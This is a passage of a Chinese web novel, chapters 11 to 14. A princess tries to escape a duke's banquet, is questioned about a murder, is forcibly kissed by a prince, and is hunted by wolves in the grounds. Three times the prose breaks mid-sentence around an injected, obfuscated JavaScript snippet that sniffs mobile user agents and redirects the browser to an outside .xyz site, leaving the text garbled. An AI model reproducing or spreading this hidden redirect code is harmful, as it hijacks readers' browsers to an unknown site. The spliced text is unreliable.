闻梨在侍女的搀扶下出了马车,她今日穿了身烟绿罗裙,外罩杏子黄窄袖衫,清新雅致的衣裳颜色,衬得她那张未施粉黛的脸出尘脱俗,融融日光下,乌发雪肤愈发明艳动人,不光周围的世家公子移不开眼,好些个闺阁小姐也在偷偷端详,暗自较量。 底下窃窃私语响起: “闻梨公主以前长这样?我怎么不记得了?” “她以前面黄肌瘦,又不会打扮,现在长开了,果真是个美人,难怪临王对她念念不忘,听说临王为了娶她当侧妃,挨了五十鞭了!” “既然喜欢她,为何不退了与王家的婚事,娶公主为正妻呢?” 另有一人插话道:“你们说得都不对!是闻梨公主先看上临王,但临王已经订亲,公主宁愿作侧妃,也要嫁给临王。” “公主要是选我作驸马该多好,我愿意终生不娶侧室不纳妾!” 国公爷闷声咳嗽,好在来客皆是熟人,都识趣地闭上嘴,不过众宾客心照不宣加快脚步,卯足劲往府里挤,想要亲眼目睹二女争夫的戏码。 一位是高不可攀的公主,却要给人作侧妃,而另一位是人微言轻的氏族小姐,运气好当正妃,两者相逢,不知哪边的手段略胜一筹,倘若真打起来,临王会选择帮谁? 国公夫人为人敦厚和善,一边领着闻梨往席面上走,一边宽慰道:“公主不必在意那些流言蜚语,王家小姐不与公主们同席,一般情况下是见不到的。” 闻梨倒不在乎这个,等开席后,她会想办法甩开清霜和翠玉,试着瞧能不能找机会逃走。 国公府今日举办的虽是诗宴,但满玉京城真正爱作诗的也就那么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193745|181148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几位,多是上了年纪的老学究,年轻人闲不住,国公爷便又在园中搭建戏台,蹴鞠、骑射、驯兽、琴坊、书斋等乐子。 国公夫人将闻梨送到席上,便又接着去忙了。 沁芸望着姗姗来迟的闻梨,又开始不爽地找茬,一会儿提她为人侧室,一会儿又暗指她与临王不清不白。 同席坐着好几个公主、郡主,皆不敢说什么,只各自喝茶看戏。 闻梨全然未放在心上,吃喝不误,再次被无视的沁芸彻底歇了心思,转头便令侍女去打听沈表兄可有来赴宴,静绒的目光却一直落在闻梨身上。 隔了一会儿,静绒坐过来与闻梨搭话,“皇姐受封,我还没送过贺礼,这香袋是我亲手缝制,有驱虫的功效,还望皇姐莫嫌针线粗笨。” 望着静绒递来的香袋,闻梨没接,口中只道:“多谢皇妹好意,但我用不着这个。” 静绒讷讷收回手,却不小心打翻桌上的碗碟,醋汁撒落在闻梨裙子上。 静绒手脚无措,几乎要哭出声了,“皇姐对、对不起!我不是故意的,我的侍女备了两套新的衣裙,皇姐先去净房换上吧?” “不必了。”闻梨低头擦着裙边的污渍,越擦越明显,只好让翠玉去马车里取自己的衣裙来,毕竟别人的衣服没有内袋,她一身的金叶子要往哪里藏? 静绒为表示歉意,吩咐自己的侍女跟着翠玉一起去,又称知道净房在哪里,想带闻梨过去换衣服。 闻梨只好先去净室等着,但没让清霜跟进净房伺候,只吩咐清霜看着门,别让人误闯进来,坏她名节。 闻梨在净房转了转,发现后窗是可以打开的,就这么跑了虽说有点对不住清霜和翠玉,但机会难得,下次不知何时才能出宫,又恰好有独处的时机。 闻梨犹豫片刻,翻窗逃了,这次有钱财傍身,她想好了,先去集市上雇辆马车,逃出玉京城的势力范围,再做打算。 可闻梨没料到国公府京郊别苑里的园子如此大,比谢陵的王府还要大四五倍,听说还有两座山头也算在里面,她在园子里绕了半个时辰,一直没能找到侧门入口。 穿过长长的水榭,一扇月洞门后,山坡上盛开的海棠花林映入她眼帘,清风从云湖水面吹来,浮浮沉沉的花面宛若湖水里的涟漪,在日光的照耀里荡漾着,流光溢彩。 闻梨不自觉停下脚步,静静观赏了一会儿,无意间听到海棠花林里传来一阵哭声,还夹杂着浅浅的交谈声,其中有道声音甚是耳熟。 闻梨心中好奇,想要一探究竟,沿着山间小径步行了数十步,瞧见了海棠花树下并肩而立的两道身影。 是一男一女,男子背对着她,看不清相貌,只瞧着身量颇高,背影与谢陵有几分相似,男子身旁的那位姑娘生了副极清丽的容貌,此时却眼圈通红,眼泪顺着脸颊滑落,双手紧紧攥住帕子。 “谢家哥哥对不起,是我哭了的缘故,父亲才想退婚事,不过父亲那里我已经说清楚了,不退婚,我愿意与公主一同侍奉谢家哥哥。” 此时有一阵微风从二人身边吹过,海棠花瓣落在了姑娘的发间,男子缓缓抬手,想替姑娘摘下发间的花瓣,姑娘娇羞低头。 瞧见如此温情的一幕,闻梨悄然退后,不想打扰二人的幽会,岂料不知从何处弹来一阵疾风,竟拍断她头顶的海棠花枝,枝干落下来,险些砸在她脑袋上。 赶在谢陵回头之前,闻梨仓皇而逃。 12. 第十二章 闻梨惊魂未定,没想到会在这种情况下撞见谢陵与佳人幽会,往年别的皇子去江北巡营,少说也要一个月,谢陵这么快赶回来,是为了哄刚才那位姑娘开心? 莫非那姑娘就是他的心上人? 闻梨心道,这临王还真是两副面孔,在心上人面前便装得温柔体贴,一副正人君子的做派,在旁人面前就变得倨傲绝情,还惯会捉弄人,可怜那王家姑娘,恐怕也被他的表面迷惑了。 没留神前方来人,闻梨再抬头看路时,恰与来人的目光撞上,这人看着有点眼熟,待她认出来人,心瞬间收紧,不自觉停下脚步,一脸谨慎望着来人。 瞧沈迟的神情,彷佛并不意外在这偏僻之地遇见闻梨,他的眼眸深邃,带着某种天生的警敏,望向闻梨的眼神透着股探究之意。 “上次一别已有半月,不知公主可养好了身子?” 闻梨稳住心神,镇定道:“我很好,多谢沈公子挂念。”她说完便想走,不愿与此人有过多牵扯。 二人皆没注意到,假山后闪过一道敏捷的身影。 沈迟从怀里掏出一支金簪,“公主请留步,臣捡到一样东西,想问公主是否识得此物?” 闻梨瞧见金簪的那一刹那,浑身都在发抖,她没有忘记那天邑王是如何把她压在身下,而她又是如何拿金簪刺向邑王,血溅在她脸上的窒息感,一直藏在她的记忆深处,午夜梦回,她时常被那滩血惊醒。 沈迟在观察闻梨的反应,“这是从邑王的船上找到的,臣查过宫中的赏赐名录,这支金簪是虞妃的遗物,虞妃死后,金簪不翼而飞,凤栖宫的宫女说,曾在公主的寝殿见过这支金簪。” 闻梨僵在原地,那日的恐惧与绝望再次涌上心头,嗓子干涩发紧:“是我亡母的遗物,但不知何时丢失了,能否请沈公子还给我留个念想。” 沈迟话锋一转:“臣还有另一件事要告诉公主,邑王的尸首已经找到,的确是被人替换了,命案很快便能水落石出,真凶迟早会被臣捉住,案子破了,金簪自然会物归原主。” 闻梨不再说话,手指在袖中攥得发白。 沈迟步步紧逼,开门见山道:“公主那晚在邑王船上对吧?杀害邑王的真凶,公主是否看到了?倘若公主愿意出面作证,臣保证,不会让任何人伤害到公主,哪怕对方是如今风头正盛的临王。” 听了此话,闻梨心下镇定了几分,原来沈迟在说谎,他并没找到邑王的尸首,刚才是在诈她的话,听沈迟话里话外的意思,似乎认定是谢陵杀了邑王。 谢陵帮自己隐瞒真相,她还没傻到要出卖谢陵,不过看沈迟如此在意邑王的死因,也许能利用此事做个交换。 闻梨敛下双眸,声音透着几分无奈:“沈公子为何如此审问我,你明知道我孤立无援,如何斗得过那个人?” 沈迟迫不及待追问:“那个人究竟是谁?” 闻梨闭口不言,视线却落向远处,有两三个人从水榭亭子旁走过。 沈迟也瞧见了,情急之下,隔着衣袖,拉起闻梨的手腕,将人带到了墙角边上,松开手道:“得罪了,这里没人,公主可以放心说。” 不知是不是错觉,闻梨总觉得后背有双幽幽的目光盯着自己,犹豫片刻,她看向沈迟,“沈公子先前说,愿意护我周全,此话当真?” 沈迟:“臣绝不食言。” 闻梨下定决心:“那好,条件很简单,你现在找辆马车,送我离开玉京城,我就告诉你杀害邑王的凶手是谁。” 正当此时,忽如其来的一道声音,打断二人的谈话。 “你们在这里做什么?”沁芸撇着嘴,不可思议地望着眼前的二人,孤男寡女,在这偏僻的角落,又靠得如此近,孤男是她芳心暗许的表兄,寡女是她讨厌的皇姐。 沈迟没想到沁芸会在此出现,与闻梨的交易之事不便再谈下去,只道:“公主所言,臣会考虑的。”说罢便径直走了。 沁芸眼巴巴瞅着沈迟离去的背影,心里很不是滋味,表兄一向待自己便如此冷淡,本以为他就是这样的人,可今天却发现他对闻梨很不一样。 心酸之余,沁芸没忘记找闻梨麻烦,她怒气冲冲看向闻梨,口不择言道:“你勾搭完临王,现在又来招惹我表兄,别以为我不知道你与临王的婚事是怎么来的,再来纠缠我表兄,我就把你爬床的事宣扬出去,让世人都知道你的真面目!” 闻梨从前待在凤栖宫,没少被沁芸欺负,从前不敢还手,现在不必顾忌沈皇后,自然不会再忍气吞声让着沁芸。 “好啊,那就都宣扬出去,反正我什么也不怕,倒是沈皇后该担心一下,毕竟是她把我送去临王枕边的。” 沁芸愣住,“你胡说!你自己勾三搭四也就算了,竟然还敢攀污我母后?” 没等闻梨开口,假山后走来一道修长的身影,小小的墙角今天也算热闹了一回。 “公主还请谨言慎行,倘若谁坏了本王未婚妻名节,本王必定睚眦必报。”谢陵抱着手,神色冷峻,言语里充斥着几分漫不经心。 沁芸气得跺脚,“你们都是一伙的!给我走着瞧。” 闻梨暗道不妙,也想跟着沁芸走,不料双肩一沉,谢陵竟明目张胆从后边将闻梨抱住,呼吸贴近她耳边,低语道:“跑什么,我还能吃了你不成?” 闻梨耳根在发烫,推不开谢陵的手,又不敢声张,唯恐沁芸回头,或者被别人瞧见这耳鬓厮磨的一幕。 “王爷怎么偷听别人讲话?” 谢陵轻轻抚弄了下闻梨的耳垂,“公主刚才不也在偷看本王吗?” 这亲昵的动作,加上他那副幽怨的口吻,激得闻梨打了个哆嗦,趁他抬手的工夫,从他胳膊下溜走。 闻梨装作一脸歉然:“无意撞见王爷幽会佳人,没打扰二位兴致吧?” 谢陵笑而不语,凝眸打量着眼前人,绿衫娇俏,她的身形丰腴了不少,脸也圆润了一些,气色不错,眼眸比从前更亮,雪肤衬得她那双红唇,像是阳光下的琥珀,丰盈饱满有光泽。 再加上她这一脸无辜的神情,若非刚才在假山后听到她与沈迟的谈话,谢陵甚至怀疑自己,没准真会被她这副面孔所骗。 谢陵欺身上前,仗着身量高,把闻梨抵进逼仄的墙角,一手环绕在她腰间,另一只手挟住她的下颌,缓慢抬起,俯身贴近她的唇,却没有亲她,反而用冷冽的声音道: “公主是不是太不把本王当回事了?你真的以为,沈迟能护得住你?本王再来晚些,你也许就被他套了话,倘若他知道真相,他会放你离京吗?” 闻梨一时语塞,假装看山外边的风景,“我没想告诉他真相,是他一直追问我,我嫌烦,想给他假消息唔……” 唇被堵住,闻梨说不了话,被迫抬脸迎上一阵强硬霸道的吻,这吻来势汹汹,又以绵延不绝之势长/驱/直/入,吻得她喘不过气,感觉自己差点憋死在谢陵手上。 她只好狠狠咬了下谢陵的唇,鲜血弥漫,才教沉迷其中的某人松口。 “我不会再见他了。” “真的?” 谢陵直起身,眼眸腥红,将她望住,用威胁的口吻道:“本王不喜欢自己的东西被别人惦记,也用不着别人来护着你,你信我,以后不会让任何人欺负你。” 闻梨眨下眼,脑海中浮现一句很合时宜的话:只有狗才会把自己的骨头藏起来,不许别人惦记。 她擦擦唇边的痕迹,“那我的簪子,还在沈迟手里。” “我帮你拿回来。”谢陵伸手替闻梨拨弄不整的衣衫,“你先回去,我过会儿再离开,以免被人误会。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193746|181148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻梨眼睛不眨地看着谢陵那双手,心里腾起一种异样的感觉,小时候母妃也是这样帮她整理衣裳,她忽然间发现,抛开谢陵这恶劣的性格,相貌能力没得挑,跟着他未必会过得很惨。 但她一开始就没想只做一个依附于他的侧室,也厌倦了尔虞我诈的日子,倘若有一天真要嫁人,她想寻一个心里只装得下她一人的男子,简简单单便是最好。 闻梨回到净房,清霜与翠玉已找了她多时,见她归来,二人也没多问,服侍她换下沾了污渍的衣裙。 再次回到席上,席间似乎多了好些人,闻梨发现自己的位置已有人坐,仔细看是刚才在海棠树下抹泪的姑娘,那姑娘一见着她,慌忙起身,朝她盈盈一拜。 “臣女王若楚拜见公主。” 这姑娘果然是谢陵的那位心上人,闻梨微微颔首,正要重新寻个位置坐下,不料一旁的沁芸故意挑事道:“王姑娘有所不知,你坐的位置是我皇姐的。” 王若楚愕然睁眼,有些不知所措,方才明明是沁芸公主强摁她坐在这里,还说离得近方便说话,否则她怎敢占闻梨公主的位置。 闻梨心知沁芸不怀好意,便看向王若楚,“无碍,沁芸话多,我嫌烦,正好换个清净位置。” 沁芸拍桌而起,一时忘了公主的自我修养,惊得一众公主、贵女纷纷抬头,场面登时冷下来。 静绒在一旁悄悄扯了扯沁芸的衣袖,沁芸这才气呼呼坐下,继续挑拨离间道:“亏皇姐沉得住气,堂堂天家公主,竟比不过一个五品小官的女儿,正妃位置被人抢走,坐席也被人抢去,皇姐就不想出这口恶气吗?” 王若楚神色慌张,赶忙跪下自辩:“臣女不敢与公主争什么,婚事皆是由家父做主,倘若临王同意,臣女愿意让出正妃之位。” 坦诚而言,当王若楚得知谢家哥哥要娶公主时,也曾躲在被窝里流了好几日眼泪,难以接受即将与别人共侍一夫。 可世间又有几个男子能像爹爹这般,一生只钟情于一人?爹爹说,若不愿受委屈,就退了这门亲事。可她不想退,她从小就喜欢谢陵,守了这么多年,终于等到他回来娶她,既然改变不了,就只能接受。 她试图说服自己,谢家哥哥位高权重,娶了公主便能更上一层楼,她应该大度点,做他身后可靠之人,而不是绊住他的脚,让他左右为难。 日子三个人也能照过,未来也许会有四个、五个,甚至会更多。 众女皆等着看闻梨公主如何出这口恶气,连王若楚也深埋着脑袋,等着承受公主的怒火,然而她没等来想象中的训斥,胳膊忽而被人扶住,将她从地面拉起来。 “王姑娘说得对,婚姻之事本就由父母做主,沁芸皇妹倘若有疑问,可以自己去问父皇,不要平白拿别人撒气。”闻梨冷冷说罢,又转头看向王若楚,语气柔和下来:“我见那边海棠花开得好,王姑娘不如陪我去摘几朵?” 王若楚迟疑一瞬,心中明白闻梨公主是在给自己解围,便朝众人微微欠身,跟着闻梨公主离开此间。 没有想象中二女争夫的戏码,众女看得不够尽兴,她们本就是被沁芸叫去看热闹的,眼下没热闹凑,又见沁芸公主绷紧着脸,面色十分难看,便都各自找借口回自己的坐席。 场上只剩下原有的几位公主、郡主们面面相觑,安静喝茶。 见人都散了,沁芸也失去争强好胜的心气,闷闷不乐地抚弄着桌上的茶盏。 一直没说话的静绒却在此时站出来,朝沁芸安抚道:“皇姐别气恼了,听说猎场那边很是热闹,好戏还在后头,想不想去瞧瞧?” 沁芸没什么兴致,刚要拒绝,却听到静绒用最平静的语气说出令人心里发怵的话。 “皇姐就不想亲眼去看看,得罪你的人会有什么下场?” 13. 第十三章 谢陵回到男客的席上,一旁的陆回见谢陵的神情比离开时愉悦些许,便凑过来好奇道:“王爷这么快回来,王家那边可有提退亲之事?” 谢陵从容不迫先喝口茶,故意停顿好一会儿,才不紧不慢道:“与王家的婚事照旧。” 陆回满饮一口酒,用感慨的语气笑道:“果真如军师所言,凭王爷的相貌与风度,一次娶十个也应付得过来,幸好王家那边没退亲,否则还不知谢侯爷会如何惩罚王爷。” 陆回口中所言的谢侯,指的是谢陵的二叔谢宗,当年谢家遭难时,谢宗还只是个小小的校尉,侥幸活了下来,后来在那场宫变中,带着部下救了晋祐帝,被封为静北侯,这些年一直驻守在漠北。 陆回与谢陵相识已有十年,这些年,谢侯爷对谢陵的种种严苛要求,陆回都看在眼里,尽管谢陵已经很努力,十五岁便能杀敌数千,但仍然比不上谢侯爷的期许。 换做陆回自己,铁定熬不住这么久,每当陆回替好友打抱不平,却只换来谢陵一句话:叔父多年来的教养之恩不可辜负。 是以谢陵更加勤奋的练武,一次次诱敌深入,以少敌多不知赢了多少场战事,受了多少次重伤,才换来谢侯一句夸赞。 谢侯的手段,陆回是见识过的,倘若这次因为娶闻梨公主丢了与王家的婚事,不仅谢陵会受罚,恐怕闻梨公主连性命都保不住。 想到此,陆回幽幽叹道:“王爷就算再不愿意娶王家姑娘,面上好歹要说得过去,这次是哄好了,下次可就难说了,末将在这些方面一点忙也帮不上。” 谢陵沉下眼眸,这次难得没有嫌陆回话多,凝思片刻道:“我知道了。” 与此同时,镇国公爷笑容满面踏进席间,招呼各位宾客去猎场看斗兽。 陆回见谢陵眉间略有疑惑,解释道:“王爷方才不在场,镇国公爷新得了十几匹雪狼,说要办一场斗兽宴,几位皇子王爷可以任选一只狼犬,听说头筹是一件御赐的黄金甲,稀罕着呢,王爷要不要去试试?” 谢陵应声说好,叔父的生辰就快到了,若能得一件刀枪不入的锁子甲送去,想必叔父也会高兴。 二人来到猎场时,看台上已经座无虚席,台下更是挤满了人,连国公府的一干奴仆杂役也都来凑热闹,围栏内趴着十几只通体雪白的狼犬,皆张着獠牙,虎视眈眈盯着围栏外的人。 谢陵的席位与众皇子、公主在一处,此处地势高,能将整个猎场,甚至是猎场后林子里的情形尽收眼底,余光不经意间掠过几位公主的坐席,谢陵发现还空着一个,闻梨没有来。 入座后,国公爷派小厮给众皇子、公主以及王爷挑选木牌,木牌上的数目与雪狼一一对应,闻梨没来,送牌子的小厮绕过坐席,往下分发,可到了末席,不仅没多,还少了一只木牌。 每支木牌都是现从雪狼脖颈取下来的,如此看来少了两只雪狼,公国爷立刻将负责看管狼犬的主事叫来,那主事颤巍巍说,午间喂食时,明明还有十六只,临开场前却无缘无故少了两只。 国公爷赶忙吩咐下人们赶快去找,丢了两只雪狼不要紧,若是冲撞到贵人,那就麻烦了。 谢陵侧头,吩咐身边的风浅去查闻梨的行踪,一炷香过后,风浅回来了,回禀说没找到闻梨公主的下落,但是瞧见闻梨公主身边的婢女,带着殿前司萧禹和一队禁军,神色慌张进了后山林。 谢陵闻言,随即起身下了看台,往风浅所指的林子疾步行去。 不远处的静绒将这一切都看在眼底,她不慌不忙拿起一块糕点,放进嘴里吃着,一旁的沁芸将信将疑坐着,眼睛东瞅西望,也在人群中寻找闻梨的身影。 —— 半个时辰前,闻梨带着王若楚离开坐席,原是想替王姑娘解围,并非真要去摘花,没想到王姑娘主动提出要陪闻梨逛一逛园子。 闻梨思索少顷,闲着也是无聊,又不想回去与沁芸斗气,便同意了。 “臣女多谢公主方才的解围之恩。” 之前没细看,闻梨趁此机会端量王若楚,美人玉肌凝脂,眼眸盈若春水,身上的气质温和而内敛,颇有股书香韵味,尤其是那双葱白似的柔荑,生得极美,看起来很会拿笔的样子。 一看便知是深闺里娇养起来、没经历过什么蹉跎的矜贵小姐。 闻梨收回打量的视线,“你是受我连累,才会被沁芸为难,再过半月,兴许就不会有人找你麻烦了。” 王若楚以为闻梨公主说的是成亲之事,便道:“臣女刚才所言不虚,论家世品貌,公主远在臣女之上,若非因为儿时的婚约,想来临王也不会选臣女为王妃。” 看着王姑娘没什么自信的样子,闻梨不免多说了一句:“王姑娘不必妄自菲薄,你有你的好处,不用管旁人怎么说。” 其实闻梨倒挺羡慕王姑娘,身居高位未必是件好事,权势能把人捧得很高,也能让人跌进尘泥,终世不得自由。 而且,看谢陵对王姑娘如此上心,不远万里回来娶她,哪怕在外巡营也要赶回来哄她,想必婚后也会爱她敬她,她拥有很多人的爱,才会出落得如此温婉纯真。 王若楚也在偷偷打量闻梨,发现这位公主与印象中很不一样,年岁比自己小,却总是一副看透世俗的淡然,她有点好奇,公主的内心会是什么样的?还是生来便如此? 二人聊了两句,渐渐熟络了些,王若楚一边逛园子,一边介绍很多花卉的品名、寓意,引经据典说了不少有趣的诗句。 闻梨在一旁听着,眼前的王姑娘一开始脸上带着几分羞赧,说起奇花异草来,整个人身上有种鲜活热烈的气息。 连带着闻梨心底也有几分触动,那些原本在她眼里一动不动的草木,似乎也有了某种乐趣。 闻梨听得认真,王若楚忽而很不好意思笑道:“是臣女失言了,叨扰了公主的耳根,臣女自小如此,说起来就没完没了,连爹娘也总是笑话臣女。” “没事,我喜欢听这些。”闻梨心中有些酸涩,王姑娘果然拥有很多的爱。 王若楚莞尔一笑,又说起了父母亲如何恩爱,说起夏天的时候,她与堂姐妹们一起泛舟采莲,冬天踏雪寻梅,一年四季有很多乐子。 闻梨想的却是,夏天被沈皇后罚禁闭,暗室里长虱子的被褥,还有老鼠来啃食她的头发、脚趾、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193747|181148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手指,冬天在雪地里罚跪,到现在每逢阴雨天气,她的双膝便会如有虫蚁在啃食一般疼。 还有刚被母妃扔下、关在冷宫的那段日子,年仅六岁的她,身边的亲近者全在一夜间消失,每逢有月亮的夜晚,她跪在门边朝老天祈愿,希望母妃回来接她,希望父皇来看自己一眼。 可是这些愿望都没有实现,那巨大而深沉的夜幕,时刻在吞噬她,包围着她,渐渐成了日常的全部。 午后的阳光暖融融的,冷风从幽静的丛林吹来,激得一直跟在后边的翠玉不禁打了个冷颤,搓着胳膊回头看了一眼,小声同身边的清霜道:“你有没有听见什么声音?” 清霜也顺着翠玉的视线望了一眼,什么也没发现,“许是树上有鸟。” 话音未落,丛林里猛然窜出一只黑影,吓得两人登时僵在原地,在翠玉看清雪狼的同时,那雪狼似发狂一般扑向翠玉,张开獠牙一口咬住翠玉的半边手臂,拖着翠玉整个人往林子里钻去。 清霜和王若楚的侍女就走在翠玉身边,亲眼目睹了狼把人叼走的整个过程,瞬间吓得脸色灰白,双脚发软,尤其是王若楚的侍女直接跌坐在地。 在翠玉发出惊呼之时,前边的闻梨与王若楚也都回头,瞧见了这令人心惊胆颤的一幕,若非地面的鲜血和消失的翠玉提醒着几人,她们甚至怀疑是不是自己看错了,国公府后山怎么会有狼? 闻梨率先回过神来,狼犬叼走翠玉,随时可能回来继续伤人,她颤声喊道:“我们快离开这,清霜把人扶起来。” 清霜听话地把侍女扶起来,另一边,王若楚虽没被吓得跌坐,但双腿不听使唤,一步也走不动,闻梨便伸手扶着她,“别紧张,试着挪步看看。” 四人就这般互相搀扶,踉跄跌撞往山坡下回去。 令四人没想到的是,去而复返的狼犬竟然这么快追上来,而它这次扑向的对象是闻梨与王若楚,眼看那恶狼的獠牙即将穿破二人的身体,情急之下,闻梨抱着王若楚从山坡下滚落,避开了恶狼的一击。 那恶狼扑了个空,又见猎物滚落山坡,急得打转,尝试往山坡下追去,不料路滑,竟一路滚到坡底,随后钻进丛林不知去向。 闻梨一手拉住王若楚的胳膊,一手抓紧坡面的石头,勉强稳住身子,才没有随着狼犬滚落坡地,暂时保住了性命。 “公主!奴婢下来救你。”清霜松开侍女,想往坡面滑下去,却被闻梨制止。 “那狼犬不知何时会回来,上边也不安全,清霜你速去找萧将军,快去。” 清霜见状,便只好与侍女先下山,从后山林出来,她扔下已经吓傻了的侍女,头也不回地往前院跑去,找来了萧禹。 当清霜带着萧禹和一众禁军赶到出事的山坡上,那里早已没了二人的身影,只留下干涸的血迹,血迹沿着山坡往下,延伸进附近的山林。 与此同时,谢陵也赶来了,得知了事情的经过,他先查验半坡的那滩血迹,发现不是人血,心中稍稍安定,观察血迹与脚印的走向,狼犬先是进了北边的山林,随即又折返回来,往南边的林子里去了。 不好!她二人有危险。 14. 第十四章 清霜走后没多久,闻梨便有些撑不住了,她高估了自己的体力,压根撑不住两个人的重量,两人的身子在一点点往下滑。 王若楚浑身瘫软,身边也没有借力点,自知无法减轻闻梨公主的负担,眼泪婆娑道:“公主放手吧,再这么下去,我们两个都会掉下去。” 闻梨咬紧牙根,“别说丧气话,你要是出事了,临王肯定会很伤心的。” 闻梨心想道,谢陵那人阴晴不定,又生性多疑,肯定会怀疑是她害了他心上人,没准会像第一次见面那般扼紧她的脖颈,杀了她替心上人报仇。 王若楚实在支撑不住了,一度想要松手,却被闻梨死死攥住,不料下一瞬,陷进泥里的指甲骤然断裂,手指从石头缝隙滑落,与王若楚一齐滚下山坡。 缓了好一会,闻梨才从地上爬起来,身上只是蹭破了一点皮,没什么大碍,一旁的王若楚呼痛出声,她扭伤了脚,现下更没法站起来。 望着那道延伸至山林的血迹,闻梨在王若楚身前蹲下,“我来背你,那只狼犬也受伤了,兴许跑不远,我们不能留在这里,找找看有没有能绕出去的路。” 王若楚垂眸,语气低落道:“是臣女连累了公主。” 二人身量差不多高,闻梨费力将王若楚背起来,朝着血迹的反方向走去。 天色渐晚,起初闻梨还跟着落日走,日头下山后,闻梨完全迷失了方向,王若楚虽常出京游玩,但每次都有奴仆带路,她也不记路,二人绕半天,竟又回到刚才路过的青松树底下。 闻梨已经精疲力尽,手脚都在发抖,险些一步跪在地上,好在她及时扶住身边的树干,才不教二人摔个狗啃泥。 “公主放臣女下来吧。” 闻梨只得松手,靠坐在树干边歇气,望着天色逐渐变黑,心中的希望也在一点点磨灭,倘若今晚不出去,肯定会被狼找到,想到翠玉临死前的惨状,她遍体生寒。 王若楚也沉默着,不过她的心里倒是还藏着一点期许,谢家哥哥那么聪明,肯定会赶来救她们,只要再撑些时辰,就能获救。 王若楚抬头看向闻梨,鼓励的话到了嘴边,却又咽下了,她分明瞧见闻梨公主在无声息地抹眼泪,说起来闻梨公主只比自己还小一岁,夜晚困在深林里,怎么可能不害怕呢? 王若楚握住闻梨的手,什么话都没说,默默陪伴着闻梨。 耳边传来悉悉索索的异动,闻梨当即绷紧身子,捡起脚边的石块,紧张地盯着异声传来的方向,一道高大的黑影朝二人移来。 王若楚害怕得闭眼,手紧紧拉着闻梨,闻梨在黑影靠近的一瞬间,使出浑身力气朝黑影掷出石块,竟被其敏捷躲开。 见偷袭失败,闻梨拉着王若楚便要跑,却被身后那黑影出声唤住。 “是我。”谢陵的声音不大不小传进二人耳里,在这幽深僻静的深林里,这道低沉磁性的声音显得格外温暖。 王若楚终于等来了自己的谢家哥哥,憋了一天的情绪在此刻爆发,一边呜咽着,一边瘸着腿走向谢陵。 闻梨此刻倒冷静的许多,站在原地,抱着双臂静静看向谢陵,思绪紧绷过后,身子会过度松弛,她的手脚仍在止不住地发抖,甚至后背还在发冷汗。 瞧见王姑娘扑倒进谢陵怀里的那一刻,闻梨不自觉抬头,看天上的新月,孤零零地悬在夜空中,月色本就惨淡,又很快被飘来的浮云遮住,现在她连月亮也没得瞧了。 谢陵扶住王若楚站稳,视线却先落向后边站着的闻梨,“公主可有哪里受伤?” 夜幕下的闻梨形单影只,愈发显得寂寥,她垂下眼睫,让人看不清她眼中的情绪,慢慢开了口:“我没事。” “别动!”谢陵神色一紧,松开王若楚,以极快的速度掠过闻梨身旁,赤手空拳将潜伏在闻梨身后的恶狼拧断了脖子。 原来那恶狼早就潜伏在二人身边,只因受了伤,不敢贸然出击,一直在观察猎物的动向,只待猎物放松警惕,便会瞬间出击。 再一次从死亡的边缘走了一遭,闻梨今天算是吓得够呛,不由自主蹲地,极力克制发抖的身子。 另一边,王若楚被谢陵推开后,也跌坐在地上,尽管如此,也没忘朝谢陵道:“是公主背着我走到这来的,公主也没力气了,谢家哥哥先送公主出去吧?” 一个扭伤了脚,另一个体力不支,无论是哪一个留在原地都不安全,谢陵头一回犯了难,不知该先抱谁出去,他总算有点体会到沈迟说的那句话:不知王爷护得住哪一个? 其实王若楚是藏了私心的,虽然嘴上说着,希望谢家哥哥先送公主,可她还在心里期盼,谢家哥哥不会扔下她不管,但公主又救过自己,两难之下,不管谢家哥哥怎么选,她都不会计较。 谢陵犹豫片刻,最终做了选择,他将目光投向闻梨,神色复杂问道:“公主还能走路吗?” 闻梨缓了好一阵,强撑着从地上站起来,虚弱道:“我可以跟在你们身后,走慢点就行。” 谢陵压下心头难以言明的情绪,给闻梨捡了一根趁手的树枝,随后转身走向王若楚,将她抱起,又回头看一眼面色苍白的闻梨,声音里带了几分喑哑:“走吧。” 闻梨撑着树枝,勉强能跟上,谢陵也放缓脚步,不时回头瞧闻梨是否跟上。 王若楚被谢陵抱在怀里,一脸难为情,羞涩地靠在他身上,虽然扭伤了脚,可心里却觉得十分甜蜜,难得能与谢家哥哥贴得如此近。 三人走了约莫半炷香时间,闻梨手中撑着的树枝骤然断裂,猝不及防摔在地上,脑袋撞上石头,撞得她头昏眼花,头疼欲裂,再次抬眼时,却发现眼前没人了。 